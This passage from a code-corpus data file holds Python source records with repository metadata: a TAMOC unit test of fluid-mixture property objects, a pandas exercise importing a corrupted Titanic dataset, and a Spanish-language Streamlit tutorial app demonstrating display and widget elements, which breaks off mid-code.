"ext": "py", "lang": "Python", "max_stars_repo_path": "sources/modules/python/test/test.py", "max_stars_repo_name": "ovb197310/opencv_2.4.13.2", "max_stars_repo_head_hexsha": "940159dab8ea8f5ee019d2038b59e1daf4119d1c", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sources/modules/python/test/test.py", "max_issues_repo_name": "ovb197310/opencv_2.4.13.2", "max_issues_repo_head_hexsha": "940159dab8ea8f5ee019d2038b59e1daf4119d1c", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sources/modules/python/test/test.py", "max_forks_repo_name": "ovb197310/opencv_2.4.13.2", "max_forks_repo_head_hexsha": "940159dab8ea8f5ee019d2038b59e1daf4119d1c", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.4189944134, "max_line_length": 189, "alphanum_fraction": 0.5013499276, "include": true, "reason": "import numpy", "num_tokens": 25479, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.10521053810590075, "lm_q1q2_score": 0.05014120153873177}}
{"text": "\"\"\"\nUnit tests for the `dbm` module of ``TAMOC``\n\nProvides testing of instantiation of the class objects defined in ``dbm.py``.\n\nNotes\n-----\nAll of the tests defined herein check the general behavior of each of the\nprogrammed function--this is not a comparison against measured data. The\nresults of the hand calculations entered below as sample solutions have been\nground-truthed for their reasonableness. However, passing these tests only\nmeans the programs and their interfaces are working as expected, not that they\nhave been validated against measurements.\n\n\"\"\"\n# S. Socolofsky, July 2013, Texas A&M University <socolofs@tamu.edu>.\n\nfrom __future__ import (absolute_import, division, print_function)\n\nfrom tamoc import dbm\n\nimport numpy as np\nfrom numpy.testing import assert_array_almost_equal\nfrom numpy.testing import assert_approx_equal\n\n# ----------------------------------------------------------------------------\n# Helper functions\n# ----------------------------------------------------------------------------\n\ndef mixture_attributes(dbm_obj, composition, nc):\n    \"\"\"\n    Test that the object attributes stored in a dbm object match those\n    specified in the arguments passed through the above list.\n    \"\"\"\n    assert dbm_obj.composition == composition\n    assert dbm_obj.nc == nc\n    assert dbm_obj.issoluble == True\n\ndef chem_properties(dbm_obj, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, \n                    nu_bar, B, dE, K_salt):\n    \"\"\"\n    Test that the chemical properties stored in a dbm object match the \n    values specified in the arguments passed through the above list.\n    \"\"\"\n    assert_array_almost_equal(dbm_obj.delta, delta, decimal=6)\n    assert_array_almost_equal(dbm_obj.M, M, decimal=6)\n    assert_array_almost_equal(dbm_obj.Pc, Pc, decimal=6)\n    assert_array_almost_equal(dbm_obj.Tc, Tc, decimal=6)\n    assert_array_almost_equal(dbm_obj.omega, omega, decimal=6)\n    assert_array_almost_equal(dbm_obj.kh_0, kh_0, decimal=6)\n    assert_array_almost_equal(dbm_obj.neg_dH_solR, neg_dH_solR, decimal=6)\n    assert_array_almost_equal(dbm_obj.nu_bar, nu_bar, decimal=6)\n    assert_array_almost_equal(dbm_obj.B, B, decimal=6)\n    assert_array_almost_equal(dbm_obj.dE, dE, decimal=6)\n    assert_array_almost_equal(dbm_obj.K_salt, K_salt, decimal=6)\n\ndef inert_attributes(dbm_obj, isfluid, iscompressible, rho_p, gamma, beta, \n                     co):\n    \"\"\"\n    Test that parameters stored in a dbm object match the values specified \n    in the arguments passed through the above list and the default values\n    hard-wired in the creator method.\n    \"\"\"\n    assert dbm_obj.isfluid is isfluid\n    assert dbm_obj.iscompressible is iscompressible\n    assert dbm_obj.rho_p == rho_p\n    assert dbm_obj.gamma == gamma\n    assert dbm_obj.beta == beta\n    assert dbm_obj.co == co\n    assert dbm_obj.issoluble is False\n    assert dbm_obj.nc == 1\n    assert dbm_obj.composition == ['inert']\n\n# ----------------------------------------------------------------------------\n# Unit Tests\n# ----------------------------------------------------------------------------\n\ndef test_objects():\n    \"\"\"\n    Test the class instantiation functions to ensure proper creations of class\n    instances.\n    \"\"\"\n    # Define the properties of a simple fluid mixture\n    comp = ['oxygen', 'nitrogen', 'carbon_dioxide']\n    delta = np.zeros((3, 3))\n    M = np.array([0.031998800000000001, 0.028013400000000001, \n                  0.04401])\n    Pc = np.array([5042827.4639999997, 3399806.1560000004, 7373999.99902408])\n    Tc = np.array([154.57777777777773, 126.19999999999999, \n                   304.12])\n    omega = np.array([0.0216, 0.0372, 0.225])\n    kh_0 = np.array([4.1054468295090059e-07, 1.7417658031088084e-07, \n                     1.47433500e-05])\n    neg_dH_solR = np.array([1650.0, 1300.0, 2368.988311])\n    nu_bar = np.array([3.20000000e-05, 3.3000000000000e-05, \n                       3.20000000e-05])\n    B = np.array([4.2000000000000004e-06, 7.9000000000000006e-06, \n                  5.00000000e-06])\n    dE = np.array([18380.044045116938, 19636.083501503061, \n                   16747.19275181])\n    K_salt = np.array([0.000169, 0.0001834, 0.0001323])\n    \n    # Initiate a simple mixture from a composition list\n    air = dbm.FluidMixture(comp)\n    mixture_attributes(air, comp, 3)\n    chem_properties(air, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    bub = dbm.FluidParticle(comp)\n    mixture_attributes(bub, comp, 3)\n    chem_properties(bub, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    # Initiate a simple mixture from a composition list with delta specified\n    air = dbm.FluidMixture(comp, delta = delta)\n    mixture_attributes(air, comp, 3)\n    chem_properties(air, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    bub = dbm.FluidParticle(comp, delta = delta)\n    mixture_attributes(bub, comp, 3)\n    chem_properties(bub, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    # Define the properties of a single-component mixture\n    comp = 'oxygen'\n    delta = np.zeros((1,1))\n    M = np.array([0.031998800000000001])\n    Pc = np.array([5042827.4639999997])\n    Tc = np.array([154.57777777777773])\n    omega = np.array([0.021600000000000001])\n    kh_0 = np.array([4.1054468295090059e-07])\n    neg_dH_solR = np.array([1650.0])\n    nu_bar = np.array([3.1999999999999999e-05])\n    B = np.array([4.2000000000000004e-06])\n    dE = np.array([18380.044045116938])\n    K_salt = np.array([0.000169])\n    \n    # Initiate a single-component mixture from a list\n    o2 = dbm.FluidMixture([comp])\n    mixture_attributes(o2, [comp], 1)\n    chem_properties(o2, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    bub = dbm.FluidParticle([comp])\n    mixture_attributes(bub, [comp], 1)\n    chem_properties(bub, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    # Initiate a single-componment mixture from a string with delta specified\n    o2 = dbm.FluidMixture(comp, delta)\n    mixture_attributes(o2, [comp], 1)\n    chem_properties(o2, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    bub = dbm.FluidParticle(comp, delta)\n    mixture_attributes(bub, [comp], 1)\n    chem_properties(bub, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    # Initiate a single-componet mixture from a string with scalar delta\n    o2 = dbm.FluidMixture(comp, 0.)\n    mixture_attributes(o2, [comp], 1)\n    chem_properties(o2, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    bub = dbm.FluidParticle(comp, 0.)\n    mixture_attributes(bub, [comp], 1)\n    chem_properties(bub, delta, M, Pc, Tc, omega, kh_0, neg_dH_solR, nu_bar, \n                    B, dE, K_salt)\n    \n    # Define the properties of an inert fluid particle\n    isfluid = True\n    iscompressible = False \n    rho_p = 870.\n    gamma = 29., \n    beta = 0.0001 \n    co= 1.0e-9\n    \n    # Initiate an inert fluid particle with different combinations of input\n    # variables\n    oil = dbm.InsolubleParticle(isfluid, iscompressible)\n    inert_attributes(oil, isfluid, iscompressible, 930., 30., 0.0007,\n                     2.90075e-9)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, rho_p = rho_p)\n    inert_attributes(oil, isfluid, iscompressible, rho_p, 30., 0.0007,\n                     2.90075e-9)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, gamma = gamma)\n    inert_attributes(oil, isfluid, iscompressible, 930., gamma, 0.0007,\n                     2.90075e-9)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, beta = beta)\n    inert_attributes(oil, isfluid, iscompressible, 930., 30., beta,\n                     2.90075e-9)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, co = co)\n    inert_attributes(oil, isfluid, iscompressible, 930., 30., 0.0007,\n                     co)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, rho_p, gamma, beta,\n                                co)\n    inert_attributes(oil, isfluid, iscompressible, rho_p, gamma, beta, co)\n    \n    oil = dbm.InsolubleParticle(isfluid, iscompressible, beta = beta, \n                                rho_p = rho_p, gamma = gamma, co = co)\n    inert_attributes(oil, isfluid, iscompressible, rho_p, gamma, beta, co)\n\n", "meta": {"hexsha": "a846411437ed13825078bddc04e678a16b7a7c4e", "size": 8540, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_dbm_objects.py", "max_stars_repo_name": "ChrisBarker-NOAA/tamoc", "max_stars_repo_head_hexsha": "c797cbb6fee28d788b76d21cc5b0cc0df5444ba8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 18, "max_stars_repo_stars_event_min_datetime": "2016-02-24T01:48:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-05T03:18:24.000Z", "max_issues_repo_path": "test/test_dbm_objects.py", "max_issues_repo_name": "ChrisBarker-NOAA/tamoc", "max_issues_repo_head_hexsha": "c797cbb6fee28d788b76d21cc5b0cc0df5444ba8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 16, "max_issues_repo_issues_event_min_datetime": "2016-08-09T07:06:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-23T19:38:37.000Z", "max_forks_repo_path": "test/test_dbm_objects.py", "max_forks_repo_name": "ChrisBarker-NOAA/tamoc", "max_forks_repo_head_hexsha": "c797cbb6fee28d788b76d21cc5b0cc0df5444ba8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2017-03-01T01:22:27.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-17T12:13:40.000Z", "avg_line_length": 40.6666666667, "max_line_length": 78, "alphanum_fraction": 0.6353629977, "include": true, "reason": "import numpy,from numpy", "num_tokens": 2476, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.10521053530027198, "lm_q1q2_score": 0.050141200201626185}}
{"text": "'''\n13 - Customizing your pandas import\n\nThe pandas package is also great at dealing with many  of the  issues  you  will\nencounter when importing data as a data  scientist,  such  as comments occurring\nin flat files, empty lines and missing values. Note that missing values are also\ncommonly referred to as NA or NaN. To  wrap  up this chapter, you're now going to\nimport a slightly corrupted copy of the Titanic dataset titanic_corrupt.txt, which\n\n    - contains comments after the character '#'\n    \n    - is tab-delimited.\n\nInstructions:\n\n- Complete the `sep` (the pandas version of delim), comment and na_values arguments of\n  pd.read_csv(). comment takes characters that comments occur after in the file, which\n  in this case is '#'. na_values takes a list of strings to recognize as  NA/NaN,  in\n  this case the string 'Nothing'.\n\n- Execute the rest of the code to print the head of the resulting DataFrame and plot\n  the histogram of the 'Age' of passengers aboard the Titanic.\n'''\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Import matplotlib.pyplot as plt\nimport matplotlib.pyplot as plt\n\n# Assign filename: file\nfile = 'titanic_corrupt.txt'\n\n# Import file: data\ndata = pd.read_csv(file, sep='\\t', comment='#', na_values='Nothing')\n\n# Print the head of the DataFrame\nprint(data.head())\n\n# Plot 'Age' variable in a histogram\npd.DataFrame.hist(data[['Age']])\nplt.xlabel('Age (years)')\nplt.ylabel('count')\nplt.show()\n\n\n'''\ndata.head()\n---------------------------------------------------------------------------------------------------------\n      PassengerId  Survived  Pclass     Sex   Age  ...  Parch            Ticket    Fare  Cabin Embarked\n    0            1         0       3    male  22.0  ...      0         A/5 21171   7.250    NaN       S \n    1            2         1       1  female  38.0  ...      0          PC 17599     NaN    NaN      NaN\n    2            3         1       3  female  26.0  ...      0  STON/O2. 3101282   7.925    NaN        S\n    3            4         1       1  female  35.0  ...      0            113803  53.100   C123        S\n    4            5         0       3    male  35.0  ...      0            373450   8.050    NaN        S\n    \n    [5 rows x 11 columns]\n---------------------------------------------------------------------------------------------------------\n'''\n", "meta": {"hexsha": "f63b57adf85d0c140714272874d048e86ad9003c", "size": 2348, "ext": "py", "lang": "Python", "max_stars_repo_path": "14_Introduction to Importing Data in Python-(part-1)/01_Introduction and flat files/13_customizing-your-pandas-import.py", "max_stars_repo_name": "mohd-faizy/DataScience-With-Python", "max_stars_repo_head_hexsha": "13ebb10cf9083343056d5b782957241de1d595f9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2021-02-03T14:36:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-01T10:29:26.000Z", "max_issues_repo_path": "14_Introduction to Importing Data in Python-(part-1)/01_Introduction and flat files/13_customizing-your-pandas-import.py", "max_issues_repo_name": "mohd-faizy/DataScience-With-Python", "max_issues_repo_head_hexsha": "13ebb10cf9083343056d5b782957241de1d595f9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "14_Introduction to Importing Data in Python-(part-1)/01_Introduction and flat files/13_customizing-your-pandas-import.py", "max_forks_repo_name": "mohd-faizy/DataScience-With-Python", "max_forks_repo_head_hexsha": "13ebb10cf9083343056d5b782957241de1d595f9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-02-08T00:31:16.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T13:52:32.000Z", "avg_line_length": 39.1333333333, "max_line_length": 105, "alphanum_fraction": 0.5587734242, "include": true, "reason": "import numpy", "num_tokens": 584, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.10521052758479321, "lm_q1q2_score": 0.050141196524586006}}
{"text": "import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport altair as alt\nfrom datetime import time,datetime,date\nfrom io import StringIO\nimport time as tim\nfrom PIL import Image\n\ndef write():\n\twith st.spinner(\"Cargando Elementos B\u00e1sicos ...\"):\n\t\tst.title(\"Elementos B\u00e1sicos de Streamlit\")\n\n######################ELEMENTOS DE TEXTO########################################\n\tst.header(\"Elementos de Texto\")\n\twith st.beta_expander('Elementos de encabezado'):\n\t\tst.title(\"Esto es un titulo\")\n\t\tst.code(\"\"\"st.title(\"Esto es un titulo\")\"\"\")\n\t\tst.header('Esto es un encabezado')\n\t\tst.code(\"\"\"st.header('Esto es un encabezado')\"\"\")\n\t\tst.subheader('Esto es un subencabezado')\n\t\tst.code(\"\"\"st.subheader('Esto es un subencabezado')\"\"\")\n\n\twith st.beta_expander(\"Elementos de markdown\"):\n\t\tst.markdown(\t\n\t\t'''\n\t\t# Esto es un t\u00edtulo en markdown \n\t\t## Esto es un encabezado\n\t\t### Esto es subencabezado\n\n\t\t:+1: :sunglasses: Y esto es una lista:\n\t\t- Item 1\n\t\t- Item 2\n\n\t\t''')\n\t\tst.code(\"\"\"st.markdown(\t\n\t\t'''\n\t\t# Esto es un t\u00edtulo en markdown \n\t\t## Esto es un encabezado\n\t\t### Esto es subencabezado\n\n\t\t:+1: :sunglasses: Y esto es una lista:\n\t\t- Item 1\n\t\t- Item 2\n\n\t\t''')\"\"\")\n\n\twith st.beta_expander(\"Elementos de texto simple\"):\n\t\tst.text('Tenemos un texto de ancho fijo')\n\t\tst.code(\"\"\"st.text('Tenemos un texto de ancho fijo')\"\"\")\n\t\tst.text('Podemos adem\u00e1s insertar listas de objetos:')\n\t\tst.write(['st', 'is <', 3])\n\t\tst.code(\"\"\"st.write(['st', 'is <', 3])\"\"\")\n\t\tst.write(\"Y podemos tambien insertar ecuaciones de L\u00e1tex:\")\n\t\tst.latex(r''' e^{i\\pi} + 1 = 0 ''')\n\t\tst.code(\"\"\"st.latex(r''' e^{i\\pi} + 1 = 0 ''')\"\"\")\n\n\n######################ELEMENTOS DE DATA########################################\n\tst.header(\"Elementos de Data\")\n\twith st.beta_expander(\"Elementos para mostrar data \"):\n\n\t\tst.write(\"Podemos mostrar la informaci\u00f3n contenida en un dataframe de Pandas:\")\n\t\tdf = pd.DataFrame(np.random.randn(50, 20),columns=('col %d' % i for i in range(20)))\n\t\tst.dataframe(df.style.highlight_max(axis=0)) #resaltamos los m\u00e1ximos\n\t\tst.code(\"\"\"df = pd.DataFrame(np.random.randn(50, 20),columns=('col %d' % i for i in range(20)))\nst.dataframe(df.style.highlight_max(axis=0)) #seteamo el ancho y largo, resaltamos los m\u00e1ximos\"\"\")\n\n\t\tst.write(\"Tambi\u00e9n podemos mostrar la misma informaci\u00f3n a trav\u00e9s de una tabla simple:\")\n\t\tst.table(df.iloc[0:10])\n\t\tst.code(\"\"\"st.table(df.iloc[0:10])\"\"\")\n\n\t\tst.write(\"Y finalmente podemos tambi\u00e9n mostrar la informaci\u00f3n contenida en formato JSON:\")\n\t\tst.json({'foo':'bar','fu':'ba'})\n\t\tst.code(\"\"\"st.json({'foo':'bar','fu':'ba'})\"\"\")\n\n\n######################ELEMENTOS GR\u00c1FICOS########################################\n\tst.header(\"Elementos gr\u00e1ficos\")\n\twith st.beta_expander(\"Elementos de Ploteo\"):\n\t\tst.write(\"Podemos hacer gr\u00e1ficas lineales (\u00a1y se puede interactuar con ellos!):\")\n\t\tchart_data = pd.DataFrame(np.random.randn(20, 3),columns=['a', 'b', 'c'])\n\t\tst.line_chart(chart_data)\n\t\tst.code(\"\"\"chart_data = pd.DataFrame(np.random.randn(20, 3),columns=['a', 'b', 'c'])\nst.line_chart(chart_data)\"\"\")\n\n\t\tst.write(\"Podemos hacer gr\u00e1ficos de \u00e1reas:\")\n\t\tchart_data = pd.DataFrame(np.random.randn(20, 3),columns=['a', 'b', 'c'])\n\t\tst.area_chart(chart_data)\n\t\tst.code(\"\"\"chart_data = pd.DataFrame(np.random.randn(20, 3),columns=['a', 'b', 'c'])\nst.area_chart(chart_data)\"\"\")\n\n\t\tst.write(\" Podemos hacer gr\u00e1ficos de barras:\")\n\t\tchart_data = pd.DataFrame(np.random.randn(50, 3),columns=[\"a\", \"b\", \"c\"])\n\t\tst.bar_chart(chart_data)\n\t\tst.code(\"\"\"chart_data = pd.DataFrame(np.random.randn(50, 3),columns=[\"a\", \"b\", \"c\"])\nst.bar_chart(chart_data)\"\"\")\n\n\t\tst.write(\"Streamlit adem\u00e1s tiene integraci\u00f3n con Matplotlib\")\n\t\tarr = np.random.normal(1, 1, size=100)\n\t\tfig, ax = plt.subplots()\n\t\tax.hist(arr, bins=20)\n\t\tst.pyplot(fig)\n\t\tst.code(\"\"\"arr = np.random.normal(1, 1, size=100)\nfig, ax = plt.subplots()\nax.hist(arr, bins=20)\nst.pyplot(fig)\"\"\")\n\n\t\tst.write(\"Tambi\u00e9n integraci\u00f3n con Altair:\")\n\t\tdf = pd.DataFrame(np.random.randn(200, 3),columns=['a', 'b', 'c'])\n\t\tc = alt.Chart(df).mark_circle().encode(\tx='a', y='b', size='c', color='c', tooltip=['a', 'b', 'c'])\n\t\tst.altair_chart(c, use_container_width=True)\n\t\tst.code(\"\"\"df = pd.DataFrame(np.random.randn(200, 3),columns=['a', 'b', 'c'])\nc = alt.Chart(df).mark_circle().encode(\tx='a', y='b', size='c', color='c', tooltip=['a', 'b', 'c'])\nst.altair_chart(c, use_container_width=True)\"\"\")\n\n\t\tst.write(\"Y finalmente puede integrarse adem\u00e1s con mapas de OpenStreetMaps:\")\n\t\tdf = pd.DataFrame(\n\t\tnp.random.randn(500, 2) / [50, 50] + [-33.46, -70.65],columns=['lat', 'lon'])#[-33.50, -70.55],columns=['lat', 'lon'])\n\t\tst.map(df)\n\n\t\tst.write(\"De la misma forma anterior, Streamlit puede integrarse con bibliotecas como Vega-Lite, Plotly, Bokeh, PyDeck, DEck_GL y Graphviz. \u00a1Los invitamos a testearlos! \")\n\t\tst.code(\"\"\"st.vega_lite_chart(data)\nst.plotly_chart(data)\nst.bokeh_chart(data)\nst.pydeck_chart(data)\nst.deck_gl_chart(data)\nst.graphviz_chart(data)\"\"\")\n\n######################ELEMENTOS MULTIMEDIA########################################\n\tst.header(\"Elementos Multimedia\")\n\twith st.beta_expander(\"Elementos de m\u00fasica, audio y video\"):\n\t\tfrom PIL import Image\n\t\tst.write(\"En esta secci\u00f3n podemos cargar im\u00e1genes directamente desde nuestro PC y agregarle un comentario: \")\n\t\timage = Image.open(r'resources/sunrise.jpg')\n\t\tst.image(image, caption='Puesto de Sol en las monta\u00f1as. Ojal\u00e1 pudiese estar all\u00ed. ',use_column_width=True)\n\t\tst.code(\"\"\"image = Image.open('sunrise.jpg')\nst.image(image, caption='Puesto de Sol en las monta\u00f1as. Ojal\u00e1 pudiese estar all\u00ed. ',use_column_width=True)\"\"\")\n\n\t\tst.write(\"Podemos adem\u00e1s agregar archivos de audio, como el Valse Opus 64 de Chopin (tambi\u00e9n conocido como el 'vals del perrito'):\")\n\t\taudio_file = open(r'resources/Chopin-valse-opus64.ogg', 'rb')\n\t\taudio_bytes = audio_file.read()\n\t\tst.audio(audio_bytes, format='audio/ogg')\n\t\tst.code(\"\"\"audio_file = open('Chopin-valse-opus64.ogg', 'rb')\naudio_bytes = audio_file.read()\nst.audio(audio_bytes, format='audio/ogg')\"\"\")\n\n\t\tst.write(\"\"\"Podemos por otra parte agregar videos directamente desde nuestro PC:\"\"\")\n\t\tvideo_file = open(r'resources/Star - 6962.mp4', 'rb')\n\t\tvideo_bytes = video_file.read()\n\t\tst.video(video_bytes)\n\t\tst.code(\"\"\"video_file = open('Star - 6962.mp4', 'rb')\nvideo_bytes = video_file.read()\nst.video(video_bytes)\"\"\")\n\n\t\tst.write(\"Y finalmente tambi\u00e9n podemos agregar videos de Youtube:\")\n\t\tst.video('https://www.youtube.com/watch?v=NUYvbT6vTPs') \n\n######################WIDGETS INTERACTIVOS########################################\n\tst.header(\"Widgets Interactivos\")\n\twith st.beta_expander(\"Widgets\"):\n\t\tst.write(\"Dentro de los widgets interactivos podemos incluir botones:\")\n\t\tif st.button('Digamos hola',key=\"say_hello\"):\n\t\t    st.write('Respuesta: \u00a1Hola quien quiera que seas!')\n\t\telse:\n\t\t\tst.write('Respuesta: \u00a1Adios!')\n\t\tst.code(\"\"\"if st.button('Digamos hola',key=\"say_hello\"):\n\tst.write('Respuesta: \u00a1Hola quien quiera que seas!')\nelse:\n\tst.write('Respuesta: \u00a1Adios!')\"\"\")\n\n\t\tst.write(\"Tambien tenemos checkbox para marcar alguna preferancia u opci\u00f3n:\")\n\t\tagree = st.checkbox('Estoy de acuerdo.')\n\t\tif agree:\n\t\t\tst.write('\u00a1Genial! Me acabas de vender tu alma :).')\n\t\t\tst.code(\"\"\"agree = st.checkbox('Estoy de acuerdo.')\nif agree:\n\tst.write('\u00a1Genial! Me acabas de vender tu alma :).')\"\"\")\n\n\t\tst.write(\"O tambi\u00e9n radio buttons para marcar entre varias opciones:\")\n\t\tingrediente = st.radio(\"\u00bfQue ingrediente prefieres en la pizza?\",('Tocino', 'Pi\u00f1a', 'Choricillo'))\n\t\tif ingrediente == 'Tocino':\n\t\t\tst.write('\u00a1Cuidado con el colesterol!.')\n\t\telif ingrediente=='Pi\u00f1a':\n\t\t\tst.write('\u00a1\u00bfEn serio?! \u00bfNo me digas que tambi\u00e9n le echas Coca-Cola al vino?')\n\t\telse:\n\t\t\tst.write(\"Buena elecci\u00f3n, padawan.\")\n\t\tst.code(\"\"\"ingrediente = st.radio(\"\u00bfQue ingrediente prefieres en la pizza?\",('Tocino', 'Pi\u00f1a', 'Choricillo'))\nif ingrediente == 'Tocino':\n\tst.write('\u00a1Cuidado con el colesterol!.')\nelif ingrediente=='Pi\u00f1a':\n\tst.write('\u00a1\u00bfEn serio?! \u00bfNo me digas que tambi\u00e9n le echas Coca-Cola al vino?')\nelse:\n\tst.write(\"Buena elecci\u00f3n, padawan.\")\"\"\")\n\n\t\tst.write(\"Las selectboxes te permiten seleccionar una opci\u00f3n dentro de una lista desplegable:\")\n\t\topcion = st.selectbox('\u00bfC\u00f3mo quieres ser contactado?',('Email', 'Tel\u00e9fono de casa', 'Celular'))\n\t\tst.write('Seleccionaste:', opcion)\n\t\tst.code(\"\"\"\tst.write(\"Las selectboxes te permiten seleccionar m\u00e1s de una opci\u00f3n:\")\nopcion = st.selectbox('\u00bfC\u00f3mo quieres ser contactado?',('Email', 'Tel\u00e9fono de casa', 'Celular'))\nst.write('Seleccionaste:', opcion)\"\"\")\n\n\t\tst.write(\"Existe la opci\u00f3n de elegir m\u00faltiples alternativas:\")\n\t\topciones= st.multiselect('\u00bfCu\u00e1les son tus colores favoritos?',['Green', 'Yellow', 'Red', 'Blue'],\t['Yellow', 'Red'])\n\t\tst.write('You selected:', opciones)\n\t\tst.code(\"\"\"\topciones= st.multiselect('\u00bfCu\u00e1les son tus colores favoritos?',['Green', 'Yellow', 'Red', 'Blue'],\t['Yellow', 'Red'])\nst.write('You selected:', opciones)\"\"\")\n\n\t\tst.write(\"Con el widget 'Slider' puedes elegir un valor,un rango de valores o incluso fechas:\")\n\t\tx= st.slider(\"Valor de x:\", min_value=1, max_value=100, value=5, step=1, format=None, key=None)\n\t\tst.write('Su cuadrado es:', x * x)\n\t\tvalores = st.slider('Selecciona un rango de valores:',\t0.0, 100.0, (25.0, 75.0))\n\t\tst.write('Valores:', valores)\n\t\tcita = st.slider(\"Agenda tu cita:\",value=(time(11, 00), time(12, 45)))\n\t\tst.write(\"Agendaste tu cita para entre las \", cita[0].strftime(\"%H:%M\"),\" y las \",cita[1].strftime(\"%H:%M\"))\n\t\tst.code(\"\"\"x= st.slider(\"Valor de x:\", min_value=1, max_value=100, value=5, step=1, format=None, key=None)\nst.write('Su cuadrado es:', x * x)\nvalores = st.slider('Selecciona un rango de valores:',\t0.0, 100.0, (25.0, 75.0))\nst.write('Valores:', valores)\ncita = st.slider(\"Agenda tu cita:\",value=(time(11, 00), time(12, 45)))\nst.write(\"Agendaste tu cita para entre las \", cita[0].strftime(\"%H:%M\"),\" y las \",cita[1].strftime(\"%H:%M\"))\"\"\")\n\n\t\tst.write(\"Adem\u00e1s de lo anterior, podemos tambi\u00e9n ingresar texto:\")\n\t\ttitle_text = st.text_input('Ingresa tu pel\u00edcula favorita:', 'Iron Man 3')\n\t\tst.write('Tu pel\u00edcula favorita es ', title_text)\n\t\tst.code(\"\"\"title_text = st.text_input('Ingresa tu pel\u00edcula favorita:', 'Iron Man 3')\nst.write('Tu pel\u00edcula favorita es ', title_text)\"\"\")\n\n\t\tst.write(\"Podemos insertar n\u00fameros:\")\n\t\tnumber = st.number_input('Inserta un n\u00famero:')\n\t\tst.write('Tu n\u00famero es el ', number)\n\t\tst.code(\"\"\"number = st.number_input('Inserta un n\u00famero:')\nst.write('Tu n\u00famero es el ', number)\"\"\")\n\n\t\tst.write(\"Podemos agregar tambien en un \u00e1rea de texto para, por ejemplo, analizar sentimientos:\")\n\t\ttxt = st.text_area('Texto a analizar', '''\u00a1Me encanta lo que hace el candidato del partido azul! \u00a1Vota por el partido azul!''')\n\t\tst.write('Sentimiento: ', 'Favorable' )#run_sentiment_analysis(txt))\n\t\tst.code(\"\"\"txt = st.text_area('Texto a analizar', '''\u00a1Me encanta lo que hace el candidato del partido azul! \u00a1Vota por el partido azul!''')\nst.write('Sentimiento: ', 'Favorable' )#run_sentiment_analysis(txt))\"\"\")\n\n\t\tst.write(\"Podemos ingresar fechas u horas:\")\n\t\td = st.date_input(\"\u00bfCu\u00e1ndo naciste?\",date(2019, 7, 6))\n\t\tst.write('Naciste el ', d)\n\t\tt = st.time_input('Programar alarma para las ', time(8, 45))\n\t\tst.write('Alarma programda a las ', t)\n\t\tst.code(\"\"\"d = st.date_input(\"'\u00bfCu\u00e1ndo naciste?'\",date(2019, 7, 6))\nst.write('Naciste el ', d)\nt = st.time_input('Programar alarma para las ', time(8, 45))\nst.write('Alarma programda a las ', t)\"\"\")\n\n\t\tst.write(\"Finalmente podemos subir un archivo o m\u00faltiples archivos:\")\n\t\tuploaded_file = st.file_uploader(\"Elige un archivo:\")\n\t\tif uploaded_file is not None:\n\t\t    bytes_data = uploaded_file.read()\n\t\t    st.write(bytes_data)\n\t\tuploaded_files = st.file_uploader(\"Elige tus archivos:\", accept_multiple_files=True)\n\t\tfor uploaded_file in uploaded_files:\n\t\t    bytes_data = uploaded_file.read()\n\t\t    st.write(\"filename:\", uploaded_file.name)\n\t\t    st.write(bytes_data)\n\t\tst.code(\"\"\"uploaded_file = st.file_uploader(\"Elige un archivo:\")\nif uploaded_file is not None:\n    bytes_data = uploaded_file.read()\n    